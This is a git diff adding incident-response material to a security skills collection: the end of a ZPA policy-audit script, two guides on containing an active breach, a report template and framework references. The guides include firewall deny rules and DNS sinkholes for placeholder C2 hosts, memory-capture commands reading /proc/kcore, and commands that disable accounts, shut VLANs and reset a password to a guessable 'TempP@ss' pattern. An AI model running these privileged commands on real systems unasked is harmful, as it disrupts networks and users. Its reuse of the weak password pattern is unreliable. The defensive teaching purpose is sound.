"deny_rules": 0, + "has_default_deny": False, + "rules_without_conditions": 0, + "rules_with_posture": 0, + "rules": [] + } + + for rule in rules: + name = rule.get("name", "unknown") + action = rule.get("action", "UNKNOWN") + conditions = rule.get("conditions", []) + order = rule.get("order", 0) + + if action == "ALLOW": + stats["allow_rules"] += 1 + elif action == "DENY": + stats["deny_rules"] += 1 + + if not conditions: + stats["rules_without_conditions"] += 1 + print(f" [WARN] Rule '{name}' has no conditions - overly permissive") + + # Check for device posture conditions + has_posture = any( + c.get("operands", [{}])[0].get("objectType") == "POSTURE_PROFILE" + for c in conditions if c.get("operands") + ) + if has_posture: + stats["rules_with_posture"] += 1 + + stats["rules"].append({ + "name": name, "action": action, "order": order, + "conditions_count": len(conditions), "has_posture": has_posture + }) + + # Check for default deny rule (should be last rule with DENY action) + if rules and rules[-1].get("action") == "DENY": + stats["has_default_deny"] = True + else: + print(" [CRITICAL] No default deny rule found! All unlisted access may be permitted.") + + print(f" Total rules: {stats['total']}") + print(f" Allow: {stats['allow_rules']}, Deny: {stats['deny_rules']}") + print(f" Rules with device posture: {stats['rules_with_posture']}") + print(f" Default deny: {'Yes' if stats['has_default_deny'] else 'NO - MISSING!'}") + return stats + + def audit_server_groups(self) -> dict[str, Any]: + """Audit server group configuration.""" + print("\n[4/5] Auditing Server Groups...") + data = self._get("serverGroup") + groups = data.get("list", []) + + stats = { + "total": len(groups), + "enabled": 0, + "servers_total": 0, + "groups": [] + } + + for group in groups: + name = group.get("name", "unknown") + enabled = group.get("enabled", False) + servers = group.get("servers", []) + + if enabled: + stats["enabled"] += 1 + stats["servers_total"] += len(servers) + stats["groups"].append({ + "name": name, "enabled": enabled, "server_count": len(servers) + }) + + print(f" Total groups: {stats['total']}, Enabled: {stats['enabled']}") + print(f" Total servers: {stats['servers_total']}") + return stats + + def generate_report(self, connectors, segments, policies, server_groups) -> str: + """Generate comprehensive ZPA audit report.""" + print("\n[5/5] Generating audit report...") + now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M UTC") + + report = f""" +ZPA ZTNA Deployment Audit Report +{'=' * 55} +Customer ID: {self.customer_id} +Generated: {now} + +1. APP CONNECTORS + Total deployed: {connectors['total']} + Healthy: {connectors['healthy']} + Unhealthy: {connectors['unhealthy']} + Connector groups: {len(connectors['groups'])} + HA compliance (2+ per group): {'PASS' if all(v >= 2 for v in connectors['groups'].values()) else 'FAIL'} + +2. APPLICATION SEGMENTS + Total segments: {segments['total']} + Enabled: {segments['enabled']} + Disabled: {segments['disabled']} + With bypass enabled: {segments['bypass_enabled']} + Health reporting: {segments['health_reporting']} + +3. ACCESS POLICIES + Total rules: {policies['total']} + Allow rules: {policies['allow_rules']} + Deny rules: {policies['deny_rules']} + Default deny rule: {'YES' if policies['has_default_deny'] else 'MISSING - CRITICAL'} + Rules with device posture: {policies['rules_with_posture']} / {policies['total']} + +4. SERVER GROUPS + Total groups: {server_groups['total']} + Total servers: {server_groups['servers_total']} + +5. RECOMMENDATIONS +""" + recommendations = [] + if connectors['unhealthy'] > 0: + recommendations.append(f" - Fix {connectors['unhealthy']} unhealthy App Connector(s)") + if not policies['has_default_deny']: + recommendations.append(" - ADD DEFAULT DENY RULE immediately") + if policies['rules_with_posture'] < policies['allow_rules']: + gap = policies['allow_rules'] - policies['rules_with_posture'] + recommendations.append(f" - Add device posture to {gap} allow rule(s)") + if segments['bypass_enabled'] > 0: + recommendations.append(f" - Review {segments['bypass_enabled']} segment(s) with bypass enabled") + if not recommendations: + recommendations.append(" - No critical issues found") + + report += "\n".join(recommendations) + return report + + +def main(): + if len(sys.argv) < 4: + print("Usage: python process.py ") + print("\nAudits ZPA deployment for connector health, segment coverage, and policy compliance.") + sys.exit(1) + + auditor = ZPAAuditor(sys.argv[1], sys.argv[2], sys.argv[3]) + + connectors = auditor.audit_app_connectors() + segments = auditor.audit_application_segments() + policies = auditor.audit_access_policies() + server_groups = auditor.audit_server_groups() + + report = auditor.generate_report(connectors, segments, policies, server_groups) + print(report) + + filename = f"zpa_audit_{datetime.now().strftime('%Y%m%d')}.txt" + with open(filename, "w") as f: + f.write(report) + print(f"\nReport saved to: {filename}") + + +if __name__ == "__main__": + main() diff --git a/skills/containing-active-breach/SKILL.md b/skills/containing-active-breach/SKILL.md new file mode 100644 index 00000000..5f952e0f --- /dev/null +++ b/skills/containing-active-breach/SKILL.md @@ -0,0 +1,214 @@ +--- +name: containing-active-breach +description: > + Executes containment strategies to stop active adversary operations and prevent + lateral movement during a confirmed security breach. Implements short-term and + long-term containment using network segmentation, endpoint isolation, credential + revocation, and access control modifications. Activates for requests involving + breach containment, lateral movement prevention, network isolation, active + threat containment, or live incident response. +domain: cybersecurity +subdomain: incident-response +tags: [breach-containment, lateral-movement, network-isolation, credential-revocation, live-response] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Containing Active Breaches + +## When to Use + +- A confirmed intrusion is in progress with an active adversary on the network +- Malware is spreading laterally across endpoints or servers +- A compromised account is being used for unauthorized access to systems +- Ransomware encryption has been detected and is actively propagating +- An attacker has established command-and-control communications from internal hosts + +**Do not use** for post-incident cleanup when the adversary is no longer active; use eradication procedures instead. + +## Prerequisites + +- Confirmed incident classification with P1 or P2 severity from triage +- EDR console access with host isolation capabilities (CrowdStrike Falcon, Microsoft Defender for Endpoint, SentinelOne) +- Network firewall and switch management access for segmentation +- Active Directory or identity provider administrative access for credential actions +- Pre-approved containment authority documented in the incident response plan +- Evidence preservation plan to avoid destroying forensic artifacts during containment + +## Workflow + +### Step 1: Assess Containment Scope + +Before taking containment actions, map the full scope of compromise to avoid partial containment that alerts the adversary: + +- Identify all confirmed compromised hosts via EDR telemetry and SIEM correlation +- Map lateral movement paths using authentication logs (Windows Event ID 4624 Type 3 and Type 10) +- Identify all compromised credentials (check for pass-the-hash, Kerberoasting, DCSync activity) +- Determine C2 channels (beacon intervals, domains, IPs, protocols) +- Assess whether the adversary has domain admin or equivalent privileges + +``` +Containment Scope Assessment: +━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Compromised Hosts: 5 (WKSTN-042, WKSTN-087, SRV-FILE01, SRV-DC02, WKSTN-103) +Compromised Accounts: 3 (jsmith, svc-backup, admin-tier0) +C2 Channels: HTTPS beacon to 185.220.x.x every 60s ± 15% jitter +Lateral Movement: PsExec via svc-backup, RDP via admin-tier0 +Adversary Privilege: Domain Admin (admin-tier0 compromised) +Data at Risk: Finance share (\\SRV-FILE01\finance$) accessed +``` + +### Step 2: Execute Short-Term Containment + +Implement immediate actions to stop adversary operations without destroying evidence: + +**Network Containment:** +- Isolate confirmed compromised endpoints via EDR network containment (maintains agent communication) +- Block C2 IP addresses and domains at perimeter firewall and internal DNS +- Implement microsegmentation rules to prevent communication between compromised hosts +- Sinkhole C2 domains at internal DNS to capture connection attempts from undiscovered implants + +**Identity Containment:** +- Disable compromised user accounts in Active Directory (do not delete; preserve audit trail) +- Reset passwords for all compromised accounts +- Revoke active sessions and tokens (Azure AD: `Revoke-AzureADUserAllRefreshToken`) +- Disable the compromised service account and rotate its credentials +- If Domain Admin is compromised: double-reset the KRBTGT password (reset twice, 12 hours apart) + +**Endpoint Containment:** +- Use EDR to terminate malicious processes on contained hosts +- Block known malicious hashes in EDR prevention policy +- Quarantine identified malware samples +- Disable remote services (WinRM, RDP, SMB) on critical servers not yet compromised + +### Step 3: Execute Long-Term Containment + +Implement sustainable containment while the investigation continues: + +- Create network ACLs isolating the compromised VLAN/subnet while allowing business-critical traffic +- Deploy temporary jump hosts for administrators to access contained systems for investigation +- Implement enhanced monitoring (full packet capture) on network segments adjacent to compromised hosts +- Enable advanced audit policies on all domain controllers (4768, 4769, 4771 for Kerberos attacks) +- Deploy canary tokens and honeypot accounts to detect adversary attempts to expand from containment + +### Step 4: Validate Containment Effectiveness + +Confirm that containment measures have stopped adversary operations: + +- Monitor for new C2 callbacks from any internal host to known adversary infrastructure +- Check for new lateral movement attempts (failed authentication from disabled accounts) +- Verify that contained hosts cannot reach the internet except through the EDR agent +- Confirm that compromised credentials produce authentication failures +- Review SIEM for any new alerts matching the adversary's known TTPs + +``` +Containment Validation Checklist: +[x] C2 beacon traffic ceased from all known compromised hosts +[x] Disabled accounts producing expected 4625 failure events (no new successes) +[x] Contained hosts unreachable via network scan from adjacent subnets +[x] No new hosts exhibiting IOCs from the initial compromise +[x] Honeypot account has not been accessed (adversary may be dormant) +[ ] Full packet capture running on finance VLAN (pending switch config) +``` + +### Step 5: Preserve Evidence During Containment + +Containment must not destroy forensic evidence: + +- Capture memory dumps from compromised hosts before any remediation (use WinPmem or Magnet RAM Capture) +- Collect volatile data: running processes, network connections, logged-on users, scheduled tasks +- Export relevant event logs before they rotate (Security, System, PowerShell, Sysmon) +- Capture network traffic between compromised hosts and C2 infrastructure +- Document all containment actions with timestamps for the incident timeline + +### Step 6: Communicate Containment Status + +Provide structured status updates to incident commander and stakeholders: + +- Current containment effectiveness (percentage of adversary activity stopped) +- Remaining risks (undiscovered implants, persistence mechanisms not yet identified) +- Business impact of containment actions (which systems are offline, user impact) +- Estimated timeline for eradication phase +- Escalation needs (law enforcement notification, external IR retainer activation) + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Short-Term Containment** | Immediate actions to stop active adversary operations; typically network isolation and credential disablement | +| **Long-Term Containment** | Sustainable measures allowing continued investigation while preventing adversary re-access | +| **KRBTGT Double Reset** | Resetting the KRBTGT password twice to invalidate all existing Kerberos tickets including golden tickets | +| **Network Containment** | EDR feature that isolates an endpoint from all network communication except the EDR management channel | +| **Lateral Movement** | Adversary technique of moving from one compromised system to another within a network using stolen credentials or exploits | +| **C2 Sinkholing** | Redirecting DNS queries for C2 domains to an internal server to prevent adversary communication and detect additional victims | +| **Microsegmentation** | Granular network access controls between workloads that limit lateral communication paths | + +## Tools & Systems + +- **CrowdStrike Falcon**: Endpoint containment with one-click network isolation preserving agent connectivity +- **Microsoft Defender for Endpoint**: Live response console for remote containment actions and evidence collection +- **Palo Alto Networks NGFW**: Application-aware firewall rules for C2 traffic blocking and microsegmentation +- **Velociraptor**: Open-source endpoint monitoring and response tool for artifact collection during containment +- **BloodHound**: Active Directory attack path mapping to identify potential lateral movement routes the adversary may exploit + +## Common Scenarios + +### Scenario: Ransomware Lateral Propagation via SMB + +**Context**: EDR alerts on three file servers showing rapid file encryption. The ransomware is spreading via SMB using a compromised domain service account. + +**Approach**: +1. Immediately isolate all three file servers via EDR network containment +2. Disable the compromised service account in Active Directory +3. Block SMB (TCP 445) between all server VLANs at the network switch layer +4. Deploy an emergency GPO disabling the SMB server service on non-critical endpoints +5. Capture memory from one encrypted server before it reboots +6. Search for the ransomware binary hash across all endpoints using EDR threat hunting + +**Pitfalls**: +- Shutting down servers immediately, destroying volatile memory evidence +- Only disabling the known compromised account without checking for other persistence mechanisms +- Restoring from backup before confirming the adversary's access has been fully revoked + +## Output Format + +``` +CONTAINMENT STATUS REPORT +========================= +Incident: INC-2025-1547 +Status: CONTAINED (Short-Term) +Timestamp: 2025-11-15T15:47:00Z +Containment Lead: [Name] + +ACTIONS TAKEN +Network: +- [x] 5 hosts isolated via CrowdStrike containment +- [x] C2 IP 185.220.x.x blocked at perimeter FW (rule #4521) +- [x] C2 domain evil.example[.]com sinkholed to 10.0.0.99 + +Identity: +- [x] jsmith account disabled +- [x] svc-backup account disabled, password rotated +- [x] admin-tier0 account disabled +- [x] KRBTGT first reset completed at 15:30 UTC + +Endpoint: +- [x] Malicious hash blocked in EDR prevention policy +- [x] Malware processes terminated on all contained hosts + +EVIDENCE PRESERVED +- Memory dumps: 3 of 5 hosts completed +- Event logs exported: all 5 hosts +- Network capture: running on finance VLAN + +REMAINING RISKS +- Possible undiscovered implants on non-EDR endpoints (15 legacy hosts) +- KRBTGT second reset pending (scheduled 03:30 UTC +1 day) +- Adversary may have exfiltrated data before containment + +BUSINESS IMPACT +- Finance file share offline (affects 42 users) +- 3 user workstations isolated (users reassigned to loaners) +- Estimated restoration: pending eradication completion +``` diff --git a/skills/containing-active-security-breach/SKILL.md b/skills/containing-active-security-breach/SKILL.md new file mode 100644 index 00000000..eaa968ed --- /dev/null +++ b/skills/containing-active-security-breach/SKILL.md @@ -0,0 +1,186 @@ +--- +name: containing-active-security-breach +description: Rapidly contain an active security breach by isolating compromised systems, blocking attacker communications, and preserving evidence while minimizing business disruption. +domain: cybersecurity +subdomain: incident-response +tags: [incident-response, containment, breach-response, network-isolation, dfir] +version: "1.0" +author: mahipal +license: MIT +--- + +# Containing an Active Security Breach + +## When to Use +- Active unauthorized access detected on network or systems +- IDS/IPS alerts indicate ongoing exploitation or data exfiltration +- SOC analysts confirm a true positive security incident requiring immediate containment +- Lateral movement or privilege escalation observed in real time +- Ransomware encryption activity detected before full deployment + +## Prerequisites +- Incident Response Plan with defined containment procedures +- Network access to firewalls, switches, and endpoint management consoles +- EDR/XDR platform deployed across endpoints (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint) +- SIEM access with real-time log correlation (Splunk, Elastic, QRadar) +- Pre-approved authority to isolate systems (documented in IR plan) +- Forensic imaging tools ready for evidence preservation + +## Workflow + +### Step 1: Validate and Classify the Incident +```bash +# Check SIEM for correlated alerts - Splunk example +index=security sourcetype=ids_alerts severity=critical +| stats count by src_ip, dest_ip, signature +| where count > 5 +| sort -count + +# Verify endpoint alerts via CrowdStrike Falcon API +curl -X GET "https://api.crowdstrike.com/detects/queries/detects/v1?filter=status:'new'+max_severity_displayname:'Critical'" \ + -H "Authorization: Bearer $FALCON_TOKEN" +``` + +### Step 2: Identify Scope of Compromise +```bash +# Identify all systems communicating with attacker C2 +# Using Zeek connection logs +cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p duration orig_bytes resp_bytes \ + | awk '$3 == 443 && $5 > 1000000' | sort -t$'\t' -k5 -rn | head -20 + +# Check for lateral movement in Windows Event Logs +wevtutil qe Security /q:"*[System[(EventID=4624)] and EventData[Data[@Name='LogonType']='3']]" /f:text /c:50 + +# Query Active Directory for recent authentication anomalies +Get-WinEvent -FilterHashtable @{LogName='Security';ID=4625} -MaxEvents 100 | + Group-Object -Property {$_.Properties[5].Value} | Sort-Object Count -Descending +``` + +### Step 3: Execute Network Containment +```bash +# Block attacker IP at perimeter firewall (Palo Alto example) +set cli pager off +configure +set rulebase security rules emergency-block from any to any source [attacker_ip] action deny +set rulebase security rules emergency-block from any to any destination [attacker_ip] action deny +commit force + +# Isolate compromised VLAN at switch level (Cisco) +configure terminal +interface vlan 100 + shutdown +end +write memory + +# Block C2 domains at DNS level +# Add to DNS sinkhole or RPZ +echo "attacker-c2-domain.com CNAME ." >> /etc/bind/rpz.local +rndc reload +``` + +### Step 4: Isolate Compromised Endpoints +```bash +# CrowdStrike - Network contain host via API +curl -X POST "https://api.crowdstrike.com/devices/entities/devices-actions/v2?action_name=contain" \ + -H "Authorization: Bearer $FALCON_TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"ids": ["device_id_1", "device_id_2"]}' + +# Microsoft Defender for Endpoint - Isolate machine +curl -X POST "https://api.securitycenter.microsoft.com/api/machines/{machineId}/isolate" \ + -H "Authorization: Bearer $MDE_TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"Comment": "IR-2024-001: Active breach containment", "IsolationType": "Full"}' + +# SentinelOne - Disconnect from network +curl -X POST "https://usea1.sentinelone.net/web/api/v2.1/agents/actions/disconnect" \ + -H "Authorization: ApiToken $S1_TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"filter": {"ids": ["agent_id"]}, "data": {}}' +``` + +### Step 5: Preserve Volatile Evidence Before Full Isolation +```bash +# Capture live memory from compromised Windows host +winpmem_mini_x64.exe memdump_hostname_$(date +%Y%m%d).raw + +# Capture network connections and running processes +netstat -anob > netstat_capture_$(date +%Y%m%d_%H%M).txt +tasklist /V /FO CSV > process_list_$(date +%Y%m%d_%H%M).csv +wmic process list full > process_detail_$(date +%Y%m%d_%H%M).txt + +# Linux volatile evidence collection +dd if=/proc/kcore of=/mnt/forensics/memory_$(hostname)_$(date +%Y%m%d).raw bs=1M +ss -tulnp > /mnt/forensics/network_$(hostname).txt +ps auxwwf > /mnt/forensics/processes_$(hostname).txt +``` + +### Step 6: Disable Compromised Accounts +```bash +# Disable compromised Active Directory accounts +Import-Module ActiveDirectory +Disable-ADAccount -Identity "compromised_user" +Set-ADUser -Identity "compromised_user" -Description "Disabled - IR-2024-001 $(Get-Date)" + +# Revoke all active sessions +Revoke-AzureADUserAllRefreshToken -ObjectId "user_object_id" + +# Reset service account credentials +Set-ADAccountPassword -Identity "svc_compromised" -Reset -NewPassword (ConvertTo-SecureString "TempP@ss$(Get-Random)" -AsPlainText -Force) +``` + +### Step 7: Validate Containment Effectiveness +```bash +# Verify no active C2 communications +tcpdump -i eth0 host attacker_ip -c 100 -w verification_capture.pcap + +# Check for new lateral movement attempts +index=security sourcetype=wineventlog EventCode=4624 LogonType=3 + earliest=-15m +| stats count by src_ip, dest_ip +| where src_ip IN ("compromised_hosts") + +# Validate endpoint isolation status +curl -X GET "https://api.crowdstrike.com/devices/entities/devices/v2?ids=device_id" \ + -H "Authorization: Bearer $FALCON_TOKEN" | jq '.resources[].status' +``` + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| Short-term Containment | Immediate actions to stop active damage (network isolation, account disable) | +| Long-term Containment | Sustainable measures while investigation continues (VLAN segmentation, enhanced monitoring) | +| Evidence Preservation | Capturing volatile data before containment actions destroy forensic artifacts | +| Blast Radius | Total scope of systems, accounts, and data affected by the breach | +| Containment Boundary | Network and logical perimeter established to prevent further spread | +| Kill Chain Disruption | Breaking the attacker's operational chain at the earliest possible stage | +| Business Continuity | Maintaining critical operations while containing the threat | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| CrowdStrike Falcon | Endpoint detection, network containment of hosts | +| Microsoft Defender for Endpoint | Endpoint isolation and automated investigation | +| Palo Alto NGFW | Perimeter firewall rules for IP/domain blocking | +| Splunk/Elastic SIEM | Real-time alert correlation and scope analysis | +| Zeek (Bro) | Network traffic analysis for C2 identification | +| Velociraptor | Remote forensic collection and endpoint querying | +| Active Directory | Account management and authentication control | + +## Common Scenarios + +1. **Ransomware Pre-Encryption**: Attacker has deployed ransomware binary but encryption hasn't started. Isolate patient zero, block C2, and prevent lateral deployment. +2. **Active Data Exfiltration**: Data is being exfiltrated to external server. Block egress to C2, capture network evidence, isolate affected systems. +3. **Compromised Domain Controller**: Attacker has DC access. Isolate DC from network, reset KRBTGT twice, rotate all privileged credentials. +4. **Supply Chain Compromise**: Malicious update deployed across environment. Block update server, isolate systems that received the update, assess scope. +5. **Insider Threat - Active Exfil**: Employee actively copying sensitive data. Disable account, block USB access, preserve evidence chain. + +## Output Format +- Containment action log with timestamps (who, what, when) +- Network isolation verification report +- List of compromised/isolated systems with justification +- Evidence preservation checksums and chain of custody records +- Containment effectiveness validation results +- Stakeholder notification with current status and next steps diff --git a/skills/containing-active-security-breach/assets/template.md b/skills/containing-active-security-breach/assets/template.md new file mode 100644 index 00000000..c10382fe --- /dev/null +++ b/skills/containing-active-security-breach/assets/template.md @@ -0,0 +1,130 @@ +# Breach Containment Action Report + +## Incident Information +| Field | Value | +|-------|-------| +| Incident ID | IR-YYYY-NNN | +| Date/Time Detected | YYYY-MM-DD HH:MM UTC | +| Containment Started | YYYY-MM-DD HH:MM UTC | +| Containment Completed | YYYY-MM-DD HH:MM UTC | +| Incident Commander | [Name] | +| Severity Level | [Critical/High/Medium/Low] | + +## Incident Summary +[Brief description of the breach - what was detected, initial indicators, how the breach was discovered] + +## Scope of Compromise + +### Affected Systems +| Hostname | IP Address | Role | Compromise Evidence | Containment Action | +|----------|-----------|------|--------------------|--------------------| +| | | | | | + +### Compromised Accounts +| Account Name | Account Type | Last Logon | Containment Action | Status | +|-------------|-------------|------------|-------------------|--------| +| | | | | | + +### Affected Data +| Data Classification | Data Type | Volume | Exfiltration Confirmed | Evidence | +|--------------------|-----------|--------|----------------------|----------| +| | | | | | + +## Attack Timeline +| Time (UTC) | Event | Source | Details | +|-----------|-------|--------|---------| +| | Initial access detected | | | +| | Lateral movement observed | | | +| | Containment initiated | | | +| | Containment verified | | | + +## Containment Actions Taken + +### Network Containment +- [ ] Attacker IPs blocked at perimeter firewall + - IPs blocked: [list] + - Firewall rule name/ID: [reference] +- [ ] C2 domains sinkholed + - Domains: [list] + - Method: [DNS sinkhole/RPZ/hosts file] +- [ ] Compromised network segments isolated + - VLANs/subnets: [list] + - Method: [ACL/VLAN shutdown/firewall rule] + +### Endpoint Containment +- [ ] Compromised hosts network-contained via EDR + - EDR platform: [CrowdStrike/SentinelOne/MDE] + - Hosts isolated: [list] +- [ ] Malicious processes terminated + - Processes: [list with PIDs] +- [ ] Unauthorized software quarantined + - Files: [list with hashes] + +### Identity Containment +- [ ] Compromised user accounts disabled + - Accounts: [list] +- [ ] Active sessions revoked + - Method: [Azure AD/On-prem AD] +- [ ] Service account credentials rotated + - Accounts: [list] +- [ ] MFA tokens reset + - Users: [list] + +### DNS/Web Containment +- [ ] Malicious domains blocked at DNS +- [ ] Web proxy rules updated +- [ ] SSL certificates revoked (if applicable) + +## Evidence Preserved + +### Volatile Evidence (Collected Before Isolation) +| Evidence Type | Host | Collection Time | SHA256 Hash | Collector | +|--------------|------|-----------------|-------------|-----------| +| Memory dump | | | | | +| Network connections | | | | | +| Process list | | | | | +| DNS cache | | | | | + +### Network Evidence +| Capture Type | Source | Time Range | File Size | SHA256 Hash | +|-------------|--------|------------|-----------|-------------| +| PCAP | | | | | +| NetFlow | | | | | + +## Containment Verification + +### Verification Checks +- [ ] No active C2 communications detected post-containment +- [ ] No new lateral movement attempts observed +- [ ] All compromised accounts confirmed disabled +- [ ] Isolated systems confirmed unreachable from network +- [ ] Business-critical services tested and operational +- [ ] Enhanced monitoring deployed on adjacent systems + +### Monitoring Status +| Monitor Type | Scope | Status | Alert Threshold | +|-------------|-------|--------|----------------| +| Network traffic | Compromised segments | Active/Pending | | +| EDR alerts | All endpoints | Active/Pending | | +| Authentication logs | Domain-wide | Active/Pending | | +| Data loss prevention | Sensitive repositories | Active/Pending | | + +## Business Impact Assessment +| Service/System | Impact Level | Workaround Available | Estimated Restore | +|---------------|-------------|---------------------|-------------------| +| | | | | + +## Next Steps +1. [ ] Complete forensic imaging of all compromised systems +2. [ ] Begin eradication phase - remove attacker persistence +3. [ ] Conduct root cause analysis +4. [ ] Prepare for recovery phase +5. [ ] Schedule stakeholder briefing + +## Approvals +| Role | Name | Signature | Date | +|------|------|-----------|------| +| Incident Commander | | | | +| CISO | | | | +| IT Director | | | | +| Legal Counsel | | | | diff --git a/skills/containing-active-security-breach/references/standards.md b/skills/containing-active-security-breach/references/standards.md new file mode 100644 index 00000000..24581c24 --- /dev/null +++ b/skills/containing-active-security-breach/references/standards.md @@ -0,0 +1,66 @@ +# Standards and Framework References + +## NIST SP 800-61 Rev. 3 - Incident Response Recommendations +- **Respond (RS) Function**: Containment falls under RS.MI (Incident Mitigation) + - RS.MI-01: Incidents are contained + - RS.MI-02: Incidents are eradicated +- **Detect (DE) Function**: Scope identification maps to DE.AE (Adverse Event Analysis) + - DE.AE-02: Potentially adverse events are analyzed to better understand associated activities + - DE.AE-03: Information is correlated from multiple sources +- Reference: https://csrc.nist.gov/pubs/sp/800/61/r3/final + +## NIST SP 800-61 Rev. 2 - Computer Security Incident Handling Guide +- **Section 3.3**: Containment, Eradication, and Recovery + - 3.3.1: Choosing a Containment Strategy + - 3.3.2: Evidence Gathering and Handling + - 3.3.3: Identifying the Attacking Hosts +- Containment strategy criteria: potential damage, evidence preservation needs, service availability, time/resources, effectiveness duration, solution scope +- Reference: https://csrc.nist.gov/pubs/sp/800/61/r2/final + +## SANS PICERL Framework +- **Phase 3 - Containment**: The SANS Incident Handler's Handbook defines containment as actions to limit damage from an incident + - Short-term containment: Immediate response to stop the bleeding + - System back-up: Forensic image before remediation + - Long-term containment: Temporary fixes allowing production use +- Reference: https://www.sans.org/white-papers/33901 + +## MITRE ATT&CK Framework - Relevant Techniques to Contain + +### Initial Access (TA0001) +| Technique ID | Name | Containment Action | +|-------------|------|-------------------| +| T1566 | Phishing | Block sender, quarantine messages | +| T1190 | Exploit Public-Facing Application | Patch/WAF rule, isolate service | +| T1133 | External Remote Services | Disable VPN/RDP access | +| T1078 | Valid Accounts | Disable/reset compromised accounts | + +### Lateral Movement (TA0008) +| Technique ID | Name | Containment Action | +|-------------|------|-------------------| +| T1021 | Remote Services | Block SMB/RDP/WinRM between segments | +| T1550 | Use Alternate Authentication Material | Reset tokens, rotate KRBTGT | +| T1570 | Lateral Tool Transfer | Block file sharing protocols | + +### Command and Control (TA0011) +| Technique ID | Name | Containment Action | +|-------------|------|-------------------| +| T1071 | Application Layer Protocol | Block C2 domains/IPs at firewall | +| T1573 | Encrypted Channel | SSL inspection, block non-standard TLS | +| T1572 | Protocol Tunneling | Block DNS tunneling, inspect traffic | + +### Exfiltration (TA0010) +| Technique ID | Name | Containment Action | +|-------------|------|-------------------| +| T1041 | Exfiltration Over C2 Channel | Sinkhole C2 domains | +| T1048 | Exfiltration Over Alternative Protocol | Block DNS/ICMP exfil | +| T1567 | Exfiltration Over Web Service | Block cloud storage uploads | + +## CISA Incident Response Playbooks +- Federal Government Cybersecurity Incident and Vulnerability Response Playbooks +- Containment actions aligned with federal response guidelines +- Reference: https://www.cisa.gov/sites/default/files/publications/Federal_Government_Cybersecurity_Incident_and_Vulnerability_Response_Playbooks_508C.pdf + +## ISO/IEC 27035 - Information Security Incident Management +- Part 2: Guidelines to plan and prepare for incident response +- Containment classified as part of "Response" phase +- Emphasis on proportional response and business impact consideration diff --git a/skills/containing-active-security-breach/references/workflows.md b/skills/containing-active-security-breach/references/workflows.md new file mode 100644 index 00000000..1f3daf69 --- /dev/null +++ b/skills/containing-active-security-breach/references/workflows.md @@ -0,0 +1,107 @@ +# Containing an Active Security Breach - Detailed Workflow + +## Pre-Containment Decision Framework + +### Containment Strategy Selection Matrix +| Factor | Low Impact | Medium Impact | High Impact | +|--------|-----------|---------------|-------------| +| Data sensitivity | Monitor and assess | Partial isolation | Full network isolation | +| Active exfiltration | Block egress IPs | Block + isolate segment | Air-gap + full isolation | +| Lateral movement | Enhanced monitoring | Segment isolation | Domain-wide lockdown | +| Business criticality | Targeted containment | Phased containment | Emergency containment with DR | +| Ransomware deployment | Isolate patient zero | Segment + block C2 | Enterprise-wide isolation | + +## Step-by-Step Procedure + +### Phase 1: Incident Validation (0-15 minutes) +1. Receive alert from SIEM/EDR/SOC analyst +2. Verify alert is true positive by correlating multiple data sources +3. Classify incident severity using organization's severity matrix +4. Activate incident response team based on severity level +5. Establish incident communication channel (war room or Slack/Teams channel) +6. Assign Incident Commander and document in ticketing system + +### Phase 2: Scope Assessment (15-45 minutes) +1. Query SIEM for all related alerts in the past 72 hours +2. Identify all compromised hosts using EDR telemetry +3. Map network connections from compromised hosts to identify lateral movement +4. Check authentication logs for compromised account usage across systems +5. Identify affected data repositories and assess data classification +6. Document the attack timeline and current threat actor position +7. Determine the attack vector (how did they get in) + +### Phase 3: Short-Term Containment (30-60 minutes) +1. **Network Level**: + - Block attacker external IPs at perimeter firewall + - Sinkhole C2 domains at DNS level + - Apply ACLs to isolate compromised network segments + - Enable enhanced packet capture on affected segments + +2. **Endpoint Level**: + - Network-contain compromised hosts via EDR + - Disable compromised user accounts in Active Directory + - Revoke OAuth tokens and API keys + - Kill malicious processes identified by EDR + +3. **Identity Level**: + - Force password reset on compromised accounts + - Disable MFA bypass methods used by attacker + - Revoke VPN certificates for compromised users + - Block compromised service account authentication + +### Phase 4: Evidence Preservation (During Containment) +1. Capture live memory from key compromised systems before full isolation +2. Export relevant SIEM logs to secure evidence storage +3. Take forensic disk images of critical compromised systems +4. Preserve network capture data (PCAP) from affected segments +5. Screenshot active sessions and running process trees +6. Hash all evidence files and create chain of custody documentation + +### Phase 5: Long-Term Containment (1-24 hours) +1. Implement network microsegmentation around affected areas +2. Deploy additional monitoring sensors in compromised zones +3. Set up honeypots to detect continued attacker activity +4. Apply temporary firewall rules with logging for affected segments +5. Enable enhanced audit logging on systems adjacent to compromise +6. Implement file integrity monitoring on critical systems +7. Set up network traffic baseline comparison + +### Phase 6: Containment Verification (Ongoing) +1. Monitor for new alerts from previously compromised systems +2. Verify no new C2 communications from any internal host +3. Check for new account creation or privilege escalation attempts +4. Validate that isolated systems cannot reach external networks +5. Test that critical business services remain functional +6. Brief stakeholders on containment status and next steps + +## Escalation Criteria +- Containment fails (attacker regains access): Escalate to CISO, consider external IR firm +- Business-critical systems affected: Engage business continuity team +- Data exfiltration confirmed: Engage legal and compliance teams +- Nation-state indicators: Engage FBI/CISA +- Ransomware spreading despite containment: Consider full network shutdown + +## Communication Templates + +### Internal Escalation (Initial) +``` +SUBJECT: [SEVERITY-CRITICAL] Active Security Breach - Containment in Progress +INCIDENT ID: IR-YYYY-NNN +TIME DETECTED: YYYY-MM-DD HH:MM UTC +CURRENT STATUS: Containment in progress +AFFECTED SYSTEMS: [count] hosts, [count] accounts +INCIDENT COMMANDER: [Name] +NEXT UPDATE: [time] +``` + +### Status Update (During Containment) +``` +SUBJECT: [UPDATE] IR-YYYY-NNN - Containment Status +CONTAINMENT STATUS: [Partial/Complete/Pending] +SYSTEMS ISOLATED: [count] +ACCOUNTS DISABLED: [count] +C2 COMMUNICATIONS: [Blocked/Active/Unknown] +BUSINESS IMPACT: [Description] +NEXT STEPS: [Actions] +NEXT UPDATE: [time] +``` diff --git a/skills/containing-active-security-breach/scripts/process.py b/skills/containing-active-security-breach/scripts/process.py new file mode 100644 index 00000000..bf16b9da --- /dev/null +++ 